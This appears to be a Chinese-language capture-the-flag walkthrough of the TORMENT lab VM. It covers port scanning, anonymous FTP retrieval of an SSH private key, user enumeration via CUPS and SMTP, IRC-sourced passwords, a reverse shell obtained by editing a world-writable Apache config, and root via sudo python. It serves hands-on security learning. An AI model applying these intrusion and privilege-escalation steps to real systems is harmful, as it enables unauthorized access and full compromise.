靶场搭建
下载下来后直接导入就行
IP:192.168.1.134
渗透过程
信息初收集
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
631/tcp open ipp
2049/tcp open nfs
6667/tcp open irc
6668/tcp open irc
6669/tcp open irc
6672/tcp open vision_server
6674/tcp open unknown
34241/tcp open unknown
37697/tcp open unknown
40271/tcp open unknown
43443/tcp open unknown
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
2049/tcp open nfs 3-4 (RPC #100003)
6667/tcp open irc ngircd
6668/tcp open irc ngircd
6669/tcp open irc ngircd
6672/tcp open irc ngircd
6674/tcp open irc ngircd
34241/tcp open nlockmgr 1-4 (RPC #100021)
37697/tcp open mountd 1-3 (RPC #100005)
40271/tcp open mountd 1-3 (RPC #100005)
43443/tcp open mountd 1-3 (RPC #100005)
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
[06:57:38] 301 - 306B - /manual -> http://192.168.1.134/manual/
[06:57:38] 200 - 201B - /manual/index.html
[06:57:57] 200 - 61B - /secret
ftp允许匿名用户访问
┌──(root㉿kali)-[~/Desktop]
└─# ftp ftp@192.168.1.134
Connected to 192.168.1.134.
220 vsftpd (broken)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||48166|)
150 Here comes the directory listing.
drwxr-xr-x 11 ftp ftp 4096 May 03 18:56 .
drwxr-xr-x 11 ftp ftp 4096 May 03 18:56 ..
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .cups
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .ftp
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .imap
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .mysql
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .nfs
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ngircd
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .samba
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .smtp
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ssh
-rw-r--r-- 1 ftp ftp 112640 Dec 28 2018 alternatives.tar.0
-rw-r--r-- 1 ftp ftp 4984 Dec 23 2018 alternatives.tar.1.gz
-rw-r--r-- 1 ftp ftp 95760 Dec 28 2018 apt.extended_states.0
-rw-r--r-- 1 ftp ftp 10513 Dec 27 2018 apt.extended_states.1.gz
-rw-r--r-- 1 ftp ftp 10437 Dec 26 2018 apt.extended_states.2.gz
-rw-r--r-- 1 ftp ftp 559 Dec 23 2018 dpkg.diversions.0
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.1.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.2.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.3.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.4.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.5.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.6.gz
-rw-r--r-- 1 ftp ftp 505 Dec 28 2018 dpkg.statoverride.0
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.1.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.2.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.3.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.4.gz
-rw-r--r-- 1 ftp ftp 281 Dec 27 2018 dpkg.statoverride.5.gz
-rw-r--r-- 1 ftp ftp 208 Dec 23 2018 dpkg.statoverride.6.gz
-rw-r--r-- 1 ftp ftp 1719127 Jan 01 2019 dpkg.status.0
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.1.gz
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.2.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.3.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.4.gz
-rw-r--r-- 1 ftp ftp 489389 Dec 28 2018 dpkg.status.5.gz
-rw-r--r-- 1 ftp ftp 470278 Dec 27 2018 dpkg.status.6.gz
-rw------- 1 ftp ftp 1010 Dec 31 2018 group.bak
-rw------- 1 ftp ftp 840 Dec 31 2018 gshadow.bak
-rw------- 1 ftp ftp 2485 Dec 31 2018 passwd.bak
-rw------- 1 ftp ftp 1575 Dec 31 2018 shadow.bak
226 Directory send OK.
.ssh下的那个私钥可能比较有价值,下载下来康康
┌──(root㉿kali)-[~/Desktop/test]
└─# wget ftp://192.168.1.134/.ssh/id_rsa
但是不知道用户名是什么,继续收集
631端口第一次见,是打印服务的通信协议,通过浏览器访问能够看到打印机的信息,通过打印机的名字得到用户名。搞个脚本提取一下。
使用新学的流编辑方法提取用户名:curl -s http://192.168.1.134:631/printers/ | grep Personal | cut -d/ -f3 | cut -d '&' -f1 > username
通过25端口的的邮件服务器判断下哪个账号存在
msf6 auxiliary(scanner/smtp/smtp_enum) > show options
Module options (auxiliary/scanner/smtp/smtp_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasplo
it/basics/using-metasploit.html
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /root/Desktop/username yes The file that contains a list of probable users accounts.
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.1.134:25 - 192.168.1.134:25 Banner: 220 TORMENT.localdomain ESMTP Postfix (Debian/GNU)
[+] 192.168.1.134:25 - 192.168.1.134:25 Users found: Patrick, Qiu
[*] 192.168.1.134:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Patrick
, Qiu
两个账号存在,但是尝试使用私钥登陆的时候发现还需要passphrase,所以还需要进一步收集信息。
重新翻了ftp的文件,发现.ngircd
文件夹下有一些信息
channels:
games
tormentedprinter
是聊天室,使用IRC的客户端连接至服务器上查看信息
IRC(Internet Relay Chat)是一种实时的多用户聊天系统,许多软件和客户端都兼容IRC协议。一些常见的IRC客户端包括:
- mIRC: 运行在Windows平台上的流行IRC客户端,拥有丰富的功能和用户友好的界面。
- HexChat: 一款开源的IRC客户端,可在Windows和Linux平台上运行,它是XChat的一个分支。
- XChat: 一款开源的IRC客户端,最初是为Unix-like系统设计的,后来也移植到了Windows上。
- Irssi: 一个文本模式的IRC客户端,通常在Unix-like系统上使用,它以其稳定性和可扩展性而闻名。
- WeeChat: 另一个文本模式的IRC客户端,与Irssi类似,也是在Unix-like系统上广泛使用的。
- ChatZilla: 一个基于Mozilla平台的IRC客户端插件,可以作为Firefox或SeaMonkey的扩展使用。
总的来说,有许多IRC客户端可供选择,用户可以根据自己的需求和偏好来选择合适的客户端。
我这边用2,先按装上软件
添加网络,设置服务的端口,然后使用默认密码wealllikedebian
进行连接
加入tormentedprinter
频道
拿到密码mostmachineshaveasupersecurekeyandalongpassphrase
然后可以ssh登录patrick账号了
提权
查看sudo权限
patrick@TORMENT:~$ sudo -l
Matching Defaults entries for patrick on TORMENT:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on TORMENT:
(ALL) NOPASSWD: /bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot
有关机和重启权限,没什么用
查一下777权限文件
patrick@TORMENT:~$ find / -type f -perm 777 2>/dev/null
/etc/apache2/apache2.conf
/var/www/html/index.html
看到了apache的配置文件能进行读写
将用户qiu
添加到apache的执行用户当中,这样反弹shell的时候可能由qiu
进行执行,然后拿到这个账户的shell。
配置成一下内容(添加qiu进去)
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
User qiu
上传一个shell.php到/var/www/html/下,等反弹shell
然后使用sudo权限重启:sudo systemctl reboot
重启好以后,监听,触发shell.php就能拿到qiu用户权限的终端。
查看一下sudo权限
$ id
uid=1000(qiu) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner)
$ sudo -l
Matching Defaults entries for qiu on TORMENT:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiu may run the following commands on TORMENT:
(ALL) NOPASSWD: /usr/bin/python, /bin/systemctl
发现有python的sudo权限,那就直接提权!
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@TORMENT:/# whoami
whoami
root
拿到了root权限
小结
没有漏洞利用过程,直接收集信息进来的,认识了一个IRC聊天服务器。但是感觉实战应该也遇不上==、